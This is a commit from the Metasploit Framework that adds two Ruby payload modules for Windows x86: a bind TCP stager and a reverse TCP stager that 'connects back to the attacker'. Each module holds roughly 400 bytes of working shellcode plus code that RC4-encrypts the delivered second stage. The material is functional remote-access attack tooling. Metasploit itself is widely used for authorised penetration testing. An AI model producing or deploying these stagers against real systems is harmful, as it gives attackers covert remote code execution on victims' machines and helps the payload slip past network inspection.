Add stager modules for RC4 bind and reverse stagers
See the commit message of my last commit for caveats.unstable
Michael Schierl
parent
cb06262002
commit
269e507f68
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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require 'msf/core/handler/bind_tcp'
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module Metasploit3
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include Msf::Payload::Stager
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include Msf::Payload::Windows
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def self.handler_type_alias
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"bind_tcp_rc4"
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end
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def initialize(info = {})
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super(merge_info(info,
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'Name' => 'Bind TCP Stager (RC4 stage encryption)',
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'Description' => 'Listen for a connection',
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'Author' => ['hdm', 'skape', 'sf', 'mihi'],
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'License' => MSF_LICENSE,
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'Platform' => 'win',
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'Arch' => ARCH_X86,
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'Handler' => Msf::Handler::BindTcp,
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'Convention' => 'sockedi',
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'Stager' =>
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{
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'RequiresMidstager' => false,
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'Offsets' => { 'LPORT' => [ 200, 'n' ], 'XORKey' => [ 260, '' ], 'RC4Key' => [ 324, '' ] },
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'Payload' =>
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# Length: 413 bytes
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"\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
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"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" +
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"\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" +
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"\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" +
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"\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" +
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"\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" +
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"\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" +
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"\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" +
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"\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" +
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"\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5F\x54\x68\x4C\x77\x26\x07" +
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"\xFF\xD5\xB8\x90\x01\x00\x00\x29\xC4\x54\x50\x68\x29\x80\x6B\x00" +
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"\xFF\xD5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF" +
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"\xD5\x97\x31\xDB\x53\x68\x02\x00\x11\x5C\x89\xE6\x6A\x10\x56\x57" +
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"\x68\xC2\xDB\x37\x67\xFF\xD5\x53\x57\x68\xB7\xE9\x38\xFF\xFF\xD5" +
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"\x53\x53\x57\x68\x74\xEC\x3B\xE1\xFF\xD5\x57\x97\x68\x75\x6E\x4D" +
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"\x61\xFF\xD5\x6A\x00\x6A\x04\x56\x57\x68\x02\xD9\xC8\x5F\xFF\xD5" +
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"\x8B\x36\x81\xF6\x58\x4F\x52\x4B\x8D\x0E\x6A\x40\x68\x00\x10\x00" +
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"\x00\x51\x6A\x00\x68\x58\xA4\x53\xE5\xFF\xD5\x8D\x98\x00\x01\x00" +
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"\x00\x53\x56\x50\x6A\x00\x56\x53\x57\x68\x02\xD9\xC8\x5F\xFF\xD5" +
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"\x01\xC3\x29\xC6\x85\xF6\x75\xEC\x5B\x59\x5D\x55\x57\x89\xDF\xE8" +
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"\x10\x00\x00\x00\x52\x43\x34\x4B\x65\x79\x4D\x65\x74\x61\x73\x70" +
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"\x6C\x6F\x69\x74\x5E\x31\xC0\xAA\xFE\xC0\x75\xFB\x81\xEF\x00\x01" +
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"\x00\x00\x31\xDB\x02\x1C\x07\x89\xC2\x80\xE2\x0F\x02\x1C\x16\x8A" +
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"\x14\x07\x86\x14\x1F\x88\x14\x07\xFE\xC0\x75\xE8\x31\xDB\x31\xD2" +
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"\xFE\xC0\x02\x1C\x07\x8A\x14\x07\x86\x14\x1F\x88\x14\x07\x02\x14" +
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"\x1F\x8A\x14\x17\x30\x55\x00\x45\x49\x75\xE5\x5F\xC3"
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}
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))
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register_options([
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OptString.new("RC4PASSWORD", [true, "Password to derive RC4 key from"])
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], self.class)
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end
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def generate_stage
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p = super
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m = OpenSSL::Digest::Digest.new('sha1')
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m.reset
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key = m.digest(datastore["RC4PASSWORD"] || "")
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c1 = OpenSSL::Cipher::Cipher.new('RC4')
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c1.decrypt
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c1.key=key[4,16]
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p = c1.update(p)
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return [ p.length ^ key[0,4].unpack('V')[0] ].pack('V') + p
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end
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def internal_generate
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p = super
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m = OpenSSL::Digest::Digest.new('sha1')
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m.reset
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key = m.digest(datastore["RC4PASSWORD"] || "")
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p[offsets['XORKey'][0], 4] = key[0,4]
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p[offsets['RC4Key'][0], 16] = key[4,16]
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return p
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end
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def replace_var(raw, name, offset, pack)
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if (name == 'XORKey' or name == 'RC4Key')
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#will be replaced by internal_generate
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return true
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end
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super
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end
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def handle_intermediate_stage(conn, payload)
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return false
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end
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end
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@ -0,0 +1,105 @@
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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require 'msf/core/handler/reverse_tcp'
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module Metasploit3
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include Msf::Payload::Stager
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include Msf::Payload::Windows
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def self.handler_type_alias
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"reverse_tcp_rc4"
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end
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def initialize(info = {})
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super(merge_info(info,
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'Name' => 'Reverse TCP Stager (RC4 stage encryption)',
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'Description' => 'Connect back to the attacker',
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'Author' => ['hdm', 'skape', 'sf', 'mihi'],
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'License' => MSF_LICENSE,
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'Platform' => 'win',
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'Arch' => ARCH_X86,
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'Handler' => Msf::Handler::ReverseTcp,
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'Convention' => 'sockedi',
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'Stager' =>
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{
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'RequiresMidstager' => false,
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'Offsets' => { 'LHOST' => [ 197, 'ADDR' ], 'LPORT' => [ 204, 'n' ], 'ReverseConnectRetries' => [ 195, 'C'], 'XORKey' => [ 252, '' ], 'RC4Key' => [ 316, '' ] },
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'Payload' =>
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# Length: 405 bytes
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"\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
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"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" +
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"\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" +
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"\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" +
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"\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" +
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"\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" +
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"\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" +
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"\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" +
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"\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" +
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"\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5F\x54\x68\x4C\x77\x26\x07" +
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"\xFF\xD5\xB8\x90\x01\x00\x00\x29\xC4\x54\x50\x68\x29\x80\x6B\x00" +
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"\xFF\xD5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF" +
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"\xD5\x97\x6A\x05\x68\x7F\x00\x00\x01\x68\x02\x00\x11\x5C\x89\xE6" +
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"\x6A\x10\x56\x57\x68\x99\xA5\x74\x61\xFF\xD5\x85\xC0\x74\x0C\xFF" +
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"\x4E\x08\x75\xEC\x68\xF0\xB5\xA2\x56\xFF\xD5\x6A\x00\x6A\x04\x56" +
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"\x57\x68\x02\xD9\xC8\x5F\xFF\xD5\x8B\x36\x81\xF6\x58\x4F\x52\x4B" +
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"\x8D\x0E\x6A\x40\x68\x00\x10\x00\x00\x51\x6A\x00\x68\x58\xA4\x53" +
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"\xE5\xFF\xD5\x8D\x98\x00\x01\x00\x00\x53\x56\x50\x6A\x00\x56\x53" +
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"\x57\x68\x02\xD9\xC8\x5F\xFF\xD5\x01\xC3\x29\xC6\x85\xF6\x75\xEC" +
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"\x5B\x59\x5D\x55\x57\x89\xDF\xE8\x10\x00\x00\x00\x52\x43\x34\x4B" +
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"\x65\x79\x4D\x65\x74\x61\x73\x70\x6C\x6F\x69\x74\x5E\x31\xC0\xAA" +
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"\xFE\xC0\x75\xFB\x81\xEF\x00\x01\x00\x00\x31\xDB\x02\x1C\x07\x89" +
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"\xC2\x80\xE2\x0F\x02\x1C\x16\x8A\x14\x07\x86\x14\x1F\x88\x14\x07" +
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"\xFE\xC0\x75\xE8\x31\xDB\x31\xD2\xFE\xC0\x02\x1C\x07\x8A\x14\x07" +
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"\x86\x14\x1F\x88\x14\x07\x02\x14\x1F\x8A\x14\x17\x30\x55\x00\x45" +
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"\x49\x75\xE5\x5F\xC3"
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}
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))
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register_options([
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OptString.new("RC4PASSWORD", [true, "Password to derive RC4 key from"])
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], self.class)
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end
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def generate_stage
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p = super
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m = OpenSSL::Digest::Digest.new('sha1')
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m.reset
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key = m.digest(datastore["RC4PASSWORD"] || "")
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c1 = OpenSSL::Cipher::Cipher.new('RC4')
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c1.decrypt
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c1.key=key[4,16]
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p = c1.update(p)
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return [ p.length ^ key[0,4].unpack('V')[0] ].pack('V') + p
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end
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def internal_generate
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p = super
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m = OpenSSL::Digest::Digest.new('sha1')
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m.reset
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key = m.digest(datastore["RC4PASSWORD"] || "")
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p[offsets['XORKey'][0], 4] = key[0,4]
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p[offsets['RC4Key'][0], 16] = key[4,16]
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return p
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end
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def replace_var(raw, name, offset, pack)
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if (name == 'XORKey' or name == 'RC4Key')
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#will be replaced by internal_generate
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return true
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end
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super
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end
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def handle_intermediate_stage(conn, payload)
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return false
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end
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end
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